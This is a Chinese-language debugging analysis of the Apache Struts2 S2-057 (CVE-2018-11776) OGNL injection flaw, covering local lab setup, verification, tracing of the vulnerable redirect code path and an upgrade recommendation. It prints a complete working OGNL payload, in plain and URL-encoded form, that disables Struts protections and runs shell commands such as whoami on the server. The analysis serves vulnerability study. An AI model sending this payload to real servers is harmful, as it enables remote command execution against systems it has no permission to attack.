文章目录

  • 前言
  • IDEA调试
    • 环境搭建
    • 漏洞验证
    • 调试分析
    • 漏洞修复
  • 总结

前言

2018 年 8 月 23 日,Apache Strust2 发布最新安全公告,Apache Struts2 存在远程代码执行的高危漏洞,该漏洞由 Semmle Security Research team 的安全研究员汇报,漏洞编号为 CVE-2018-11776(S2-057),漏洞影响版本:Struts 2.0.4-2.3.34, Struts 2.5.0-2.5.16。官方发布的漏洞公告详情:https://cwiki.apache.org/confluence/display/WW/S2-057。

IDEA调试

环境搭建

1、下载官方源码(https://github.com/apache/Struts),此处选择 2.3.34 版本:
2、把源码包中 src/apps/showcase 整个文件夹拷贝出来:

3、IDEA 导入该 maven 项目:
4、修改 src/main/resoureces 中的配置文件 struts-actionchaining.xml:
更改为:

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE struts PUBLIC"-//Apache Software Foundation//DTD Struts Configuration 2.3//EN""http://struts.apache.org/dtds/struts-2.3.dtd"><struts><package name="actionchaining" extends="struts-default"><action name="actionChain1" class="org.apache.struts2.showcase.actionchaining.ActionChain1"><result type="redirectAction"><param name = "actionName">register2</param></result></action><action name="actionChain2" class="org.apache.struts2.showcase.actionchaining.ActionChain2"><result type="chain">xxx</result></action><action name="actionChain3" class="org.apache.struts2.showcase.actionchaining.ActionChain3"><result type="postback"><param name = "actionName">register2</param></result></action></package>
</struts>

5、接着设置 run/debug configurations, 添加本地 Tomcat 环境(需要提前在本地安装 Tomcat 环境):


6、添加项目 War 包 struts2-showcase.war 进 Tomcat 中:
7、配置完以上的准备工作,就可以直接 run 运行程序了:
8、浏览器访问http://localhost:8090/struts2_showcase_war/actionChain1.action,本地部署漏洞环境完成:

漏洞验证

1、访问http://localhost:8090/struts2_showcase_war/${1+2}/actionChain1.action,URL 将重新 redirect 到:http://localhost:8090/struts2_showcase_war/3/register2.action,可以看到 OGNL 表达式 ${1+2} 被解析为了 3,说明漏洞存在:
2、发送以下 Payload,可以成功执行 whoami 命令:

${(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
[*]需进行URL编码再发送:
%24%7B%28%23dm%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS%29.%28%23ct%3D%23request%5B%27struts.valueStack%27%5D.context%29.%28%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ou%3D%23cr.getInstance%28@com.opensymphony.xwork2.ognl.OgnlUtil@class%29%29.%28%23ou.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ou.getExcludedClasses%28%29.clear%28%29%29.%28%23ct.setMemberAccess%28%23dm%29%29.%28%23cmd%3D%27whoami%27%29.%28%23iswin%3D%28@java.lang.System@getProperty%28%27os.name%27%29.toLowerCase%28%29.contains%28%27win%27%29%29%29.%28%23cmds%3D%28%23iswin%3F%7B%27cmd%27%2C%27/c%27%2C%23cmd%7D%3A%7B%27/bin/bash%27%2C%27-c%27%2C%23cmd%7D%29%29.%28%23p%3Dnew%20java.lang.ProcessBuilder%28%23cmds%29%29.%28%23p.redirectErrorStream%28true%29%29.%28%23process%3D%23p.start%28%29%29.%28%23ros%3D%28@org.apache.struts2.ServletActionContext@getResponse%28%29.getOutputStream%28%29%29%29.%28@org.apache.commons.io.IOUtils@copy%28%23process.getInputStream%28%29%2C%23ros%29%29.%28%23ros.flush%28%29%29%7D

成功获得服务器的用户名信息:
3、进一步执行 ipconfig 命令:

调试分析

1、在 struts-actionchaining.xml 配置文件中,可以发现<result>标签的 type是 redirectAction:

2、所以对应地找出 redirectAction 的处理类:org.apache.struts2.result.ServletActionRedirectResult:
3、在 org.apache.struts2.result.ServletActionRedirectResult 类的 execute 方法处下断点:
4、以调试模式运行程序,访问http://localhost:8090/struts2_showcase_war/${1+2}/actionChain1.action,程序将暂停到断点处:

5、可以看到,在处理 redirectAction 类型的跳转时的逻辑,先把namespace=“/${1+2}”actionName=“regiter2”封装到 ActionMapping 类型对象中,然后通过 getUriFromActionMapping 方法获取到完整 url 地址tmpLocation=“/${1+2}/register2.action”,并将其赋值给 this 对象的 location 属性,最后调用父类的 execute 方法:
6、单步执行到其父类的父类的 execute 方法如下,看到调用了 conditionalParse 方法,并把 location 属性值传递了进入:

7、跟入该方法,看到了如下调用,就很熟悉了,该方法就是解析 OGNL 表达式的方法,看到将上面的 location 值传了进去:

8、于是 “${1+2}” 表达式就被成功解析了:
至此,OGNL 表达式成功执行。

漏洞修复

S2-057 漏洞存在于小于等于 Struts 2.3.34 和 Struts 2.5.16 的版本中,建议将框架版本升级到官方最新版本。

总结

本文参考文章:

  1. S2-057-poc;
  2. struts2漏洞分析(S2-057为例);
  3. Struts2 S2-057漏洞环境搭建及漏洞分析。

JAVA代审之Struts2漏洞S2-057的调试分析相关推荐

  1. java struts2 漏洞_Struts2漏洞简述

    S2-005漏洞 S2-005是由于官方在修补S2-003不全面导致绕过补丁造成的.我们都知道访问Ognl的上下文对象必须要使用#符号,S2-003对#号进行过滤,但是没有考虑到unicode编码情况 ...

  2. Vulhub靶场之struts2漏洞复现

    简介 struts2漏洞中属s2系列杀伤力最大,可以造成远程命令执行漏洞. Apache Struts2框架是一个用于开发Java EE网络应用程序的Web框架.Apache Struts于2020年 ...

  3. struts2漏洞_十大常见web漏洞——命令执行漏洞

    命令执行漏洞在不同框架下都有存在,也是十分普遍且危害极大,下面我们介绍一个最具代表性的,也是影响范围最大的一个命令执行漏洞--Struts2远程代码执行漏洞. Struts2 漏洞介绍 ApacheS ...

  4. Struts2漏洞的前因后果

    本文讲的是Struts2漏洞的前因后果,Apache Struts2 作为世界上最流行的 Java Web 服务器框架之一,近期被爆出两大高危漏洞:S2-045(CVE-2017-5638)和S2-0 ...

  5. Struts2漏洞为互联网带来严重安全风险

    http://www.cac.gov.cn/2014-04/30/c_1112077812.htm Struts2漏洞为互联网带来严重安全风险 2014年04月30日 14:37:50来源: 工业和信 ...

  6. 【安全漏洞】Struts2漏洞集合总结

    Struts2 漏洞集合 总结了一部分 Strtus2 漏洞,虽然现在这部分的漏洞很少了,但也是学习的一部分,收集的并不全面,后续会做补充. 漏洞环境搭建可以使用在线的 Vulfocus ,或者使用d ...

  7. Struts2漏洞分析之Ognl表达式特性引发的新思路

    摘要 在Ognl表达式中,会将被括号"()"包含的变量内容当做Ognl表达式执行.Ognl表达式的这一特性,引发出一种新的攻击思路.通过将恶意代码存储到变量中,然后在调用Ognl表 ...

  8. 浅谈struts2漏洞(检测工具及S2-052漏洞及漏洞平台的搭建复现)

    简介: struts2是apache项目下的一个web框架,主要应用于各类门户网站,而相对应的漏洞则是从2007年7月23日发布的第一个Struts2漏洞S2-001到2018年的S2-057,跨度还 ...

  9. 快改密码!Struts2漏洞引爆网站“泄密门”

    新闻来源:http://net.chinabyte.com/24/12666524.shtml 日前,Apache Struts2发布漏洞公告,称其Struts2 Web应用框架存在一个可以远程执行任 ...

最新文章

  1. Cell颠覆性发现:中脑神经元的新作用
  2. 解决xe7无法找到system.pas的问题
  3. stm32怎么查看什么原因引起的nmi_为什么会有口臭,口臭是什么原因引起的,口臭是怎么回事...
  4. .gradle文件夹_Travis CI org.gradle.wrapper.GradleWrapperMain 错误
  5. oxyen eclipse 启动 报错 se启动提示javaw.exe in your current PATH、No java virtual machine
  6. Vim winmanager文件浏览自动更新
  7. monkey基本命令及脚本编写
  8. vim配置Nerdtree
  9. 浅谈虚拟桌面上线推广的最佳时机
  10. (转)用Javascript获取页面元素的位置
  11. Python实现供应链数据分析
  12. BZOJ 4173: 数学
  13. 错误数据(图片)去除
  14. 传统BI+敏捷BI+智能BI
  15. 从“棱镜门”看回溯技术的应用
  16. SQL判断字符在字符串中的位置
  17. oracle 序列/自增ID
  18. 大学linux操作系统,大学信息技术(Linux操作系统及其应用)
  19. python判断值是否存在_python如何判断元素是否存在
  20. tableviewCell复用 重叠问题

热门文章

  1. 2023全国安全生产合格证危险化学品生产单位主要负责人模拟一[安考星]
  2. 如何才能进行亚马逊店铺防关联
  3. WIN10打不开微博丨Win10系统下微博链接无法打开怎么办
  4. 联想23亿美元收购IBM X86服务器硬件及服务
  5. 软件孵化室自助基金成立仪式
  6. 百万并发电信级统一即时通讯(im+voip+多人语音)系统源码
  7. BLUED 数据集跳过数据表头
  8. 分享最新Bios全程图解
  9. 深圳华瑞三和集团有限公司携手泛微华南大区
  10. Material Design(Android6.0)